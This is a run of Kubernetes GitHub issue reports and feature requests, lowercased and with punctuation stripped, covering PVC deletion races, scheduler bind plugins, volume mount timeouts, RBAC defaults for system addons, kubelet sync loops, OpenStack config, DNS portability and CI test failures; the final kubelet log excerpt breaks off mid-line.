request for _x_ and sets its  deletiontimestamp .\r 4. pvc protection controller is notified of the update of _x_, sees that its  deletiontimestamp  is set, and uses its pods informer's cache to retrieve the pods which are using _x_.\r \r if at step 4 the pvc protection controller's pods informer's cache does not contain _p_ yet  and this is possible , the pvc protection controller will remove its finalizer from _x_ even if _x_ is being used by _p_, and this will trigger deletion of _x_.\r \r   proposed solution  :\r \r replace the cache-based list of pods in the pvc protection controller with a live look up against the api server, i.e. use a  client  https://godoc.org/k8s.io/client-go/kubernetes interface . this way it's impossible for the pvc protection controller to miss a pod that is using a pvc. this change is tiny code-wise since the pvc protection controller already uses a client to remove its finalizer from pvcs  alternatively a different client could be used to avoid sharing the same rate limiter if that's a problem . the con is that it's more load on the api server and more network bandwidth  it's a list of all the pods . but deletion of pvcs is a rare event so that's probably not too much of a problem.\r if there is consensus i'm willing to code this solution  or any solution that reaches consensus  and open a pr.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't know, any suggestion is welcome.\r \r \r

what would you like to be added  :\r the  scheduling framework kep  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md  is now implementable. we have  already added  https://github.com/kubernetes/kubernetes/pull/75848  plugin interfaces and a few extension points, such as \  reserve  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md reserve \  and \  prebind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md pre-bind \  plugins.\r \r  bind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md bind  plugins are used to bind a pod to a node. bind plugins will not be called until all pre-bind plugins have completed. each bind plugin is called in the configured order. a bind plugin may choose whether or not to handle the given pod. if a bind plugin chooses to handle a pod, the remaining bind plugins are skipped.\r \r bind plugin interface should be designed so that the existing bind logic of the scheduler can be converted to a bind plugin.\r   please send your proposal for the interface of this extension point before sending a full pr and let us discuss and approve it first.  \r \r this is needed for 1.16. a pr can be sent after 1.15 code freeze.\r \r  / ref/ kubernetes/enhancements 624\r

we introduced node test infrastructure for 1.2 release, and engineers are working on docker validation test suite too. we should automate today's docker release validation process by fetching the latest docker release candidate from docker.io and run our node conformance tests.   cc/ @kubernetes/goog-node

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/30625/kubernetes-pull-build-test-e2e-gce/53507/  failed:  k8s.io  service endpoints latency should not be very high  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service_latency.go:115 not all rc/pod/service trials succeeded: got 1 errors 50, 90, 99 percentiles: 2.294165339s 2.435644323s 2.953528631s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service_latency.go:113      happened on a presubmit run in  30625.

kubernetes 1.3.6, google container engine  i need to create pod in a specific node in my cluster with several node pools in it.   and, it would be great, if i can scale node pools via google compute engine built-in managed groups autoscaler  e.g by cpu usage .  but, i need to manually assign labels to nodes, and, with autoscaler enabled, it wouldn't be done.  so, my pods won't be created in the newly created node in the same node pool, as it won't have an appropriate label.  so, i wonder, if i can use a part of a node name for a search pattern, kinda like this:  if  clustername  is  production  , and  nodepool  name is  frontend  , so  nodename  would be like this:  gke-production-frontend-f9r23513f-27a9 , so i could write in yaml something like:      annotations:           scheduler.alpha.kubernetes.io/affinity: >             {               \ nodeaffinity\ : {                 \ requiredduringschedulingignoredduringexecution\ : {                   \ nodeselectorterms\ :                       {                       \ matchexpressions\ :                           {                           \ key\ : \ kubernetes.io/hostname\ ,                           \ operator\ : \ contains\ ,                           \ values\ :   \ production-frontend\                            }                                             }                                     }               }             }

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : gke, gce, volume timeout\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r     client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : gci\r -   kernel    e.g.  uname -a  : whatever gci uses\r -   install tools  :\r -   others  :\r \r   what happened  : pods cannot start/restart because the volume will not mount. the volume cannot mount indefinitely  i have had pods in a containercreating state for weeks in some cases .\r \r     21s       2m        2         camlistored-2824072653-3p1t7   pod                                 warning   failedmount               {kubelet gke-asia-east1-b-ianlewis-org-pool-1-c77d950d-jt7d}   unable to mount volumes for pod \ camlistored-2824072653-3p1t7_prod bd1cbbe3-b380-11e6-9d1b-42010af000ba \ : timeout expired waiting for volumes to attach/mount for pod \ camlistored-2824072653-3p1t7\ /\ prod\ . list of unattached/unmounted volumes= camlistore-blobs \r     21s       2m        2         camlistored-2824072653-3p1t7   pod                                 warning   failedsync                {kubelet gke-asia-east1-b-ianlewis-org-pool-1-c77d950d-jt7d}   error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ camlistored-2824072653-3p1t7\ /\ prod\ . list of unattached/unmounted volumes= camlistore-blobs \r \r i sometimes notice other errors when errors first start occurring. here is one example:\r \r     15s       4m        11        camlistored-2824072653-3p1t7   pod                 warning   failedmount   {kubelet gke-asia-east1-b-ianlewis-org-pool-1-c77d950d-jt7d}   mountvolume.setup failed for volume \ kubernetes.io/gce-pd/camlistore-blobs-prod\   spec.name: \ camlistore-blobs-prod\   pod \ bd1cbbe3-b380-11e6-9d1b-42010af000ba\   uid: \ bd1cbbe3-b380-11e6-9d1b-42010af000ba\   with: mount failed: exit status 32\r     mounting arguments: /var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/camlistore-blobs-prod /var/lib/kubelet/pods/bd1cbbe3-b380-11e6-9d1b-42010af000ba/volumes/kubernetes.io~gce-pd/camlistore-blobs-prod   remount \r     output: mount: cannot remount /var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/camlistore-blobs-prod read-write, is write-protected\r \r deleting and recreating a deployment sometimes works to allow me to remount the volume but it's rare.\r \r   what you expected to happen  : i expect that volumes will be able to be re-mounted to pods within a reasonable time period. e.g. a few minutes.\r \r   how to reproduce it    as minimally and precisely as possible : \r \r i don't know the specific circumstances that this happens but i notice that this happens often when a container with the volume attached crashes. the container will crash and cannot be restarted because the volume will not mount.\r \r   anything else do we need to know  :\r \r this happens  very frequently  for certain types of pods that use the disk often like camlistore or mysql when the pod is stopped and restarted, via deleting the pod, cluster upgrades etc. it's extremely frustrating.\r

kubefed init  has no verbose logs at all and this is a pain while debugging. add logs at appropriate verbosity levels for  kubefed init .\r \r cc @kubernetes/sig-federation-misc @irfanurrehman

kubernetes version    use  kubectl version  :\r anything > 1.6.1 with rbac enabled\r \r   environment  : \r -   cloud provider or hardware configuration  : all\r -   os    e.g. from /etc/os-release : n/a\r -   kernel    e.g.  uname -a  : n/a\r -   install tools  : n/a\r \r \r   what happened  :\r \r when deploying system components, in this particular instance i'm looking into the defaults for canonical kubernetes\r \r - heapster\r - fluentd\r - kubernetes dashboard\r \r they all default to the default service account in the  kube-system  namespace. the default kube-system service account does not have very permissive capabilities, thus causing the system components to fail when querying for the resources required to make them function.\r \r  the way i see it is there are vectors to solve this, ranging from pragmatic but less secure; to secure but non-obvious.\r \r - give a  system:masters  role to a service account\r \r this has the obvious drawback of being a glaring hole in the security model and does not follow least privilege access. it's a super-user for the cluster running in kube-system for any workload that doesn't declare a service account.\r \r - create default role bindings for service accounts scoped to the permissions declared by clusterroles for the components documented in the  rbac system table  https://kubernetes.io/docs/admin/authorization/rbac/ other-component-roles  and attach those to service accounts that should be declared in the addon's manifest.\r \r this seems like the better path forward as its using clusterroles that k8's itself will keep in alignment with the required privs during upgrades. this also means cluster operators will need to ensure their addon manifests/versions match the respective version of kubernetes in which it was released against  or a close version respectively \r \r   how to reproduce it    as minimally and precisely as possible :\r deploy kubernetes >= 1.6.1\r enable the rbac feature flag on kube-apiserver\r deploy the addons: heapster, kube-dashboard, fluentd\r \r   anything else we need to know  :\r \r i'm opening this ticket to start the conversation around this effort and discover if anyone is or has worked on this before i submit a pr. additionally, i don't imagine that i'm first in this domain to have found this issue, after speaking to @liggitt about this we loosely agreed that this should be a straightforward fix and should ship with the manifests. i'm open to discussion around why this might be a bad idea  perhaps for clusters not using rbac? \r \r

in our k8s cluster, a node's status is notready, and we checked the kubelet's log, that repeated \ skipping pod synchronization\  every 5 minutes:\r \r    \r may 10 16:20:07 localhost kubelet: i0510 16:20:07.315290   20965 kubelet.go:2237  skipping pod synchronization -  kubelet failed to get node info.  \r may 10 16:20:12 localhost kubelet: i0510 16:20:12.317233   20965 kubelet.go:2237  skipping pod synchronization -  kubelet failed to get node info.  \r may 10 16:20:17 localhost kubelet: i0510 16:20:17.317374   20965 kubelet.go:2237  skipping pod synchronization -  kubelet failed to get node info.  \r    \r    \r func  kl  kubelet  syncloop updates <-chan kubetypes.podupdate, handler synchandler  {\r \tglog.info \ starting kubelet main sync loop.\  \r \t// the resyncticker wakes up kubelet to checks if there are any pod workers\r \t// that need to be sync'd. a one-second period is sufficient because the\r \t// sync interval is defaulted to 10s.\r \tsyncticker := time.newticker time.second \r \tdefer syncticker.stop  \r \thousekeepingticker := time.newticker housekeepingperiod \r \tdefer housekeepingticker.stop  \r \tplegch := kl.pleg.watch  \r \tfor {\r \t\tif rs := kl.runtimestate.errors  ; len rs  != 0 {\r \t\t\tglog.infof \ skipping pod synchronization - %v\ , rs \r \t\t\ttime.sleep 5   time.second \r \t\t\tcontinue\r \t\t}\r \t\tif !kl.syncloopiteration updates, handler, syncticker.c, housekeepingticker.c, plegch  {\r \t\t\tbreak\r \t\t}\r \t}\r }\r    \r i found the code where printing those logs, in the syscloop function. if runtimestate has error, kubelet will get into endless loop, and will print \ skipping pod synchronization\  every five minutes.\r \r in our case, the node got an error when startup, in the function initializemodules, which called our cloud provider to get node info, because the call returned an error, kubelet set the error to runtimestate, and ran syscloop next, going to endless loop.\r    \r if err := kl.initializemodules  ; err != nil {\r \t\tkl.recorder.eventf kl.noderef, api.eventtypewarning, events.kubeletsetupfailed, err.error   \r \t\tglog.error err \r \t\tkl.runtimestate.setiniterror err \r \t}\r    \r \r i think there is a problem here:\r startup function \ initializemodules\  encountered an error like \ failed get node info\ , which is rarely, kubelet should exit its process and it will be restarted by systemd successfully.\r restarting kubelet is more reaonable than printing error log in the endless loop, restarting event can be mornitored easily, but the admin can hardly detect the endless loop.\r

steps to repro:\r   create a federated service of type \ clusterip\ .\r   verify that the service is created in all clusters\r   update the federated service to be of type \ loadbalancer\ \r \r expected:\r   services in all underlying clusters is updated to be of type loadbalancer.\r \r actual:\r   no change to cluster services.\r \r no new event was created as well.\r \r cc @shashidharatd @kubernetes/sig-federation-bugs

is this a bug report or feature request?  :\r  \r   what happened  :\r if user don't specify subnet-id in openstack cloud provider config file, service controller can't create loadbalancer service. \r if user specify wrong subnet-id in openstack cloud provider config file, service controller will create a unsafe loadbalancer service.\r and subnet-id is unique for kubernetes cluster, we can get it from neutron.\r the same to \ floating-network-id\  and \ node-security-group\ .\r \r   what you expected to happen  :\r we can get \ subnet-id\  \ floating-network-id\  and \ node-security-group\  automatically, like \ lb-version\ , \ bs-version\ .   automatic is more safe and more convenience.  \r \r   anything else we need to know?  :\r 1. get subnet-id by server attachinterfaces\r 2. get \ floating-network-id\  by 'neutron  net-list --router:external=true' we should support it in gophercloud \r 3. get \ node-security-group\  by server securitygroups\r \r \r @dims @anguslees

is this a bug report or feature request?  :\r \r  \r   what happened  :\r during teardown, the scaleio plugin can sometimes report erroneously \r that a volume is no longer busy, when in fact it is.  this can cause \r some situations where a volume is never properly torn down/detached.\r \r   what you expected to happen  :\r for the plugin to report an error so that the volume controller will keep attempting\r to teardown until successful unmounted/detached.\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r from kube-proxy downgrade test suite: https://k8s-testgrid.appspot.com/sig-network gci-gce-latest-downgrade-kube-proxy-ds&width=20.\r \r after downgrade, test always fails on \ waiting for new master to respond to api requests\ .\r \r checked apiserver's log, found below error   sample log  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-latest-downgrade-kube-proxy-ds/107/artifacts/bootstrap-e2e-master/kube-apiserver.log  :\r    \r failed to initialize admission: unknown admission plugin: priority\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r downgrade master from 1.8+ to 1.7.x.\r \r @kubernetes/sig-api-machinery-bugs \r  hoping i'm pinging the right group.

/close\r  from scratch\r  \r \r hi,\r         i'm trying to deploy 1.9.1 from scratch,when i came to the kubelet,something went wrong. the kubelet can pass tls bootstraping and the crts were auto generated.but then the kubelet's log flooded with this:\r ! image  https://user-images.githubusercontent.com/22327477/35026616-16d0bfba-fb87-11e7-82f5-1eeac306b4ad.png \r         i'm a little confused about what i should do to solve this.\r         some related settings are here:\r apiserver:\r ! image  https://user-images.githubusercontent.com/22327477/35026715-a15e8f18-fb87-11e7-934a-0fab3d1582b6.png \r token.csv:\r ! image  https://user-images.githubusercontent.com/22327477/35026736-be47cbe4-fb87-11e7-894f-7430cdbf4984.png \r bootstrap.kubeconfig:\r ! image  https://user-images.githubusercontent.com/22327477/35026786-f43f0460-fb87-11e7-891e-e945ce936cbb.png \r clusterrolebindings:\r ! image  https://user-images.githubusercontent.com/22327477/35026812-207b5380-fb88-11e7-9b15-95e3fe3cb00b.png \r ! image  https://user-images.githubusercontent.com/22327477/35026818-2d99538c-fb88-11e7-854c-440fb3439573.png \r kubelet config:\r ! image  https://user-images.githubusercontent.com/22327477/35026844-54084dd4-fb88-11e7-9721-b60aaf9e2a28.png \r

manifests should ideally be in a folder gce/ for clarity.\r \r /assign

currently  1.9 ,   validation|mutation webhookconfiguration  does not allow specifying the apiversion of object received by webhook handler. so, the choices for an implementer are: \r \r - implement actual logic in all possible version or reject objects in unsupported versions.\r \r - use a pipeline of conversion similar to:\r  src -> internal -> target -> applychanges target  -> modinternal -> modsrc -> default modsrc  generatepatch src, modsrc  \r \r none of this these options look good. i am hoping that webhook handlers behave the same way other controllers does in that apiserver does the conversion necessary and send the version requested by user to the webhook handler.\r \r thanks @sttts @deads2k @liggitt  for helping with this issue.

is this a bug report or feature request?  :\r >  \r   what happened  :\r \r  kubectl config view  shows:\r \r    yaml\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority-data: redacted\r   ...\r    \r \r the use of \ redacted\  for a ca here is misleading, since it's a public certificate that is not a secret.\r \r   what you expected to happen  :\r \r i expected to see the full ca in pem format  like when you cat  ~/.kube/config   or something like \ suppressed\  or \ truncated\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. run  kubectl config view \r \r   anything else we need to know?  :\r \r nope\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     \r        \r     client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t20:49:12z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.8-gke.0\ , \r     gitcommit:\ 6e5b33a290a99c067003632e0fd6be0ead48b233\ , gittreestate:\ clean\ , \r     builddate:\ 2018-02-16t18:26:58z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r        \r \r - cloud provider or hardware configuration:\r \r        \r     gke, but applies to cli\r        \r \r - os  e.g. from /etc/os-release :\r \r        \r     mac os x\r        \r \r - kernel  e.g.  uname -a  :\r \r        \r     darwin x 17.4.0 darwin kernel version 17.4.0: sun dec 17 09:19:54 pst 2017; root:xnu-4570.41.2~1/release_x86_64 x86_64\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i use  openstack block storage  https://kubernetes.io/docs/concepts/cluster-administration/cloud-providers/ openstack  but my cloud provider doesn't support openstack lbaas. because of the latter i've been using metallb instead to get things going. however i keep getting warnings when deploying a  servicetype: loadbalancer  when there is no   loadbalancer   configuration defined in  cloud.conf .   reference  https://github.com/google/metallb/issues/269 issuecomment-400727870 \r \r note:  cloud.conf  has only a   global   section - there is no mention no   loadbalancer   section.\r \r   what you expected to happen  :\r \r  service-controller  should not print warning via openstack loadbalancer since it doesn't support/can't do anything with it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - configure  cloud.conf \r \r    \r  global \r auth-url=<value>\r username=<value>\r password=<value>\r region=<value>\r tenant-name=<value>\r tenant-id=<value>\r    \r -  install metallb  https://metallb.universe.tf/installation/ \r - push a  layer2   configmap  https://metallb.universe.tf/tutorial/layer2/ configure-metallb \r - create a  loadbalancer  https://metallb.universe.tf/tutorial/layer2/ create-a-load-balanced-service \r \r   anything else we need to know?  :\r \r see this  issue  https://github.com/google/metallb/issues/269 issuecomment-400727870 \r \r   environment  :\r \r see this  issue  https://github.com/google/metallb/issues/269 issuecomment-400727870 \r

on a gce vm  created by gke :      $ cat resolve.conf domain c.some-project-123.internal. search c.some-project-123.internal. 987654321.google.internal. google.internal. nameserver 169.254.169.254 nameserver 10.240.0.1      kubernetes will append:  $namespace.svc.$cluster_suffix svc.$cluster_suffix $cluster_suffix  to the search line where  $cluster_suffix  defaults to  cluster.local , but cluster admins can redefine.  pods which depend on resolving these special dns names will not be portable to other cloud providers, or potentially even across projects/clusters/zones within the same cloud provider.  we should strive to avoid things which reduce portability of pods.    - exposing the project name and other details about the underlying node goes against the kubernetes philosophy of abstracting the hardware from the application.  - encourages addressing nodes directly  e.g. foo.c.some-project-123.google.internal  rather than using pods and services, which undermines kubernetes networking abstractions. - it limits the flexibility of the cluster admin to chose which nodes comprise a cluster. - enterprises may want to ensure that they keep their pods portable for various reasons.  hiding nonportable apis like this is one way to do that.    suggest that - kubelet has a flag that causes it to pass a certain resolve.conf to docker when creating a pod.. - kubelet setup has per-cloud-provider algorithm for filtering non-essential info from the node's resolve.conf. - if anyone asks for it, provide an escape hatch, e.g.  hostresolveconf  option on pod spec, default false.  not clear this is needed.  pods that want to talk to the metadata server can just skip dns and use its ip address.  suggest filtering as follows on gce: - remove  domain  since it mentions project  and does nothing when search is specified  - remove  c.some-project-123.internal. 987654321.google.internal. google.internal  from the search path.   - remove  nameserver 169.254.169.254 , which is just used for gce metadata requests.  related: - conserve limited search and nameserver entries   9079  - hide metadata from pods, which contains secret information   8867

cc @kubernetes/sig-testing   we need to eliminate repo-root.  this way we are gauranteed that e2es for releases are 100% self sufficient for the binaries.

from @dchen1107 in https://github.com/kubernetes/kubernetes/pull/46254 discussion_r131022849\r >here we try to decide if a given kubeletconfig is a bad one or not, but i think the logic is too simple:\r >\r >kubelet might be crash after the config changed; but the cause of the crash might not be bad config. for example, a crash one day after a modification vs. a crash one minute after a modification, the high possibility of one day crash is not caused by a bad config here.\r >\r >on a node, there is a babysitter / watcher process to make sure kubelet is running healthy. if not, that process might restart kubelet. in this case, the restart is not caused by a bad configuration.\r >\r >sometimes, there is a kernel panic, or node restarted issued by admin. those kubelet restarts due to node restart should be also considered here since they are not caused by a bad configure.\r >\r >in general, we should make this logic more intelligent, and conservative. you don't want to claim a configuration as bad too aggressive; instead, we should assume by default those configuration is good, and use the logic as the last resort to recover kubelet / node.\r \r filing this issue to track work on improving this while dynamic config is still in alpha.\r \r /cc @dchen1107

failure cluster  303fdf01b721866715f8  https://go.k8s.io/triage 303fdf01b721866715f8        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/opaque_resource.go:260 expected error:     < errors.errorstring | 0xc420290740>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/opaque_resource.go:258           failure cluster statistics: 5 tests failed,    27 jobs failed,    204 builds failed. failure stats cover 1 day time range '24 aug 2017 15:42 utc' to '25 aug 2017 15:42 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-scheduling  opaque resources should schedule pods that initially do not fit after enough opaque integer resources are freed. | 27 | |  sig-scheduling  opaque resources should schedule pods that do consume opaque integer resources. | 13 | |  sig-scheduling  opaque resources should account opaque integer resources in pods with multiple containers. | 11 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kops-aws | 33 |  25 aug 2017 14:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/15502  | | ci-kubernetes-e2e-gce-container-vm | 13 |  25 aug 2017 11:12 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-container-vm/12354  | | ci-kubernetes-e2e-gce | 12 |  25 aug 2017 14:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce/12797  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | connordoyle |  sig-scheduling  opaque resources should schedule pods that do consume opaque integer resources.;  sig-scheduling  opaque resources should account opaque integer resources in pods with multiple containers.;  sig-scheduling  opaque resources should not break pods that do not consume opaque integer resources. | | sig/node |  sig-scheduling  opaque resources should schedule pods that do consume opaque integer resources.;  sig-scheduling  opaque resources should account opaque integer resources in pods with multiple containers.;  sig-scheduling  opaque resources should not break pods that do not consume opaque integer resources. |  </details><br>   current status  https://go.k8s.io/triage 303fdf01b721866715f8

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r in an ha setup, rebooting one of the master nodes messes up the entire cluster\r \r   what you expected to happen  :\r \r rebooting a master node should have no impact in a ha setup\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i have 3 nodes with the control-plane processes  kube-apiserver, kube-scheduler, kube-controller-manager . these run as static pods. i have an nginx acting as a tcp loadbalancer for the apiserver. all kubelets connect to the loadbalancer ip address. and the lb ip address is configured as the advertising address in kube-apiserver as well.\r \r when i reboot one of the master nodes, multiple other worker nodes start experiencing issues as are getting stuck in a \ not ready\  state.\r \r in the logs of those machines i see the following:\r \r    \r sep 14 20:47:18 master-03 kubelet: , diff2={\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ } ,\ conditions\ : {\ lastheartbeattime\ :\ 2017-09-14t18:47:18z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:47:18z\ ,\ message\ :\ kubelet has sufficient disk space available\ ,\ reason\ :\ kubelethassufficientdisk\ ,\ status\ :\ false\ ,\ type\ :\ outofdisk\ },{\ lastheartbeattime\ :\ 2017-09-14t18:47:18z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:47:18z\ ,\ message\ :\ kubelet has sufficient memory available\ ,\ reason\ :\ kubelethassufficientmemory\ ,\ status\ :\ false\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2017-09-14t18:47:18z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:47:18z\ ,\ message\ :\ kubelet has no disk pressure\ ,\ reason\ :\ kubelethasnodiskpressure\ ,\ status\ :\ false\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2017-09-14t18:47:18z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:47:18z\ ,\ message\ :\ kubelet is posting ready status\ ,\ reason\ :\ kubeletready\ ,\ status\ :\ true\ ,\ type\ :\ ready\ } }}\r sep 14 20:47:18 master-03 kubelet: e0914 20:47:18.395590   13436 kubelet_node_status.go:357  error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/conditions\\\ : {\\\ type\\\ :\\\ outofdisk\\\ },{\\\ type\\\ :\\\ memorypressure\\\ },{\\\ type\\\ :\\\ diskpressure\\\ },{\\\ type\\\ :\\\ ready\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2017-09-14t18:47:18z\\\ ,\\\ lasttransitiontime\\\ :\\\ 2017-09-14t18:47:18z\\\ ,\\\ message\\\ :\\\ kubelet has sufficient disk space available\\\ ,\\\ reason\\\ :\\\ kubelethassufficientdisk\\\ ,\\\ status\\\ :\\\ false\\\ ,\\\ type\\\ :\\\ outofdisk\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-09-14t18:47:18z\\\ ,\\\ lasttransitiontime\\\ :\\\ 2017-09-14t18:47:18z\\\ ,\\\ message\\\ :\\\ kubelet has sufficient memory available\\\ ,\\\ reason\\\ :\\\ kubelethassufficientmemory\\\ ,\\\ status\\\ :\\\ false\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-09-14t18:47:18z\\\ ,\\\ lasttransitiontime\\\ :\\\ 2017-09-14t18:47:18z\\\ ,\\\ message\\\ :\\\ kubelet has no disk pressure\\\ ,\\\ reason\\\ :\\\ kubelethasnodiskpressure\\\ ,\\\ status\\\ :\\\ false\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-09-14t18:47:18z\\\ ,\\\ lasttransitiontime\\\ :\\\ 2017-09-14t18:47:18z\\\ ,\\\ message\\\ :\\\ kubelet is posting ready status\\\ ,\\\ reason\\\ :\\\ kubeletready\\\ ,\\\ status\\\ :\\\ true\\\ ,\\\ type\\\ :\\\ ready\\\ } }}\  for node \ master-03\ : operation cannot be fulfilled on nodes \ master-03\ : there is a meaningful conflict  firstresourceversion: \ 3138\ , currentresourceversion: \ 3292\  :\r sep 14 20:47:18 master-03 kubelet: diff1={\ metadata\ :{\ resourceversion\ :\ 3292\ },\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ } ,\ conditions\ : {\ lastheartbeattime\ :\ 2017-09-14t18:42:12z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:43:23z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ outofdisk\ },{\ lastheartbeattime\ :\ 2017-09-14t18:42:12z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:43:23z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2017-09-14t18:42:12z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:43:23z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2017-09-14t18:42:12z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:43:23z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ ready\ } }}\r sep 14 20:47:18 master-03 kubelet: , diff2={\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ } ,\ conditions\ : {\ lastheartbeattime\ :\ 2017-09-14t18:47:18z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:47:18z\ ,\ message\ :\ kubelet has sufficient disk space available\ ,\ reason\ :\ kubelethassufficientdisk\ ,\ status\ :\ false\ ,\ type\ :\ outofdisk\ },{\ lastheartbeattime\ :\ 2017-09-14t18:47:18z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:47:18z\ ,\ message\ :\ kubelet has sufficient memory available\ ,\ reason\ :\ kubelethassufficientmemory\ ,\ status\ :\ false\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2017-09-14t18:47:18z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:47:18z\ ,\ message\ :\ kubelet has no disk pressure\ ,\ reason\ :\ kubelethasnodiskpressure\ ,\ status\ :\ false\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2017-09-14t18:47:18z\ ,\ lasttransitiontime\ :\ 2017-09-14t18:47:18z\ ,\ message\ :\ kubelet is posting ready status\ ,\ reason\ :\ kubeletready\ ,\ status\ :\ true\ ,\ type\ :\ ready\ } }}\r sep 14 20:47:18 master-03 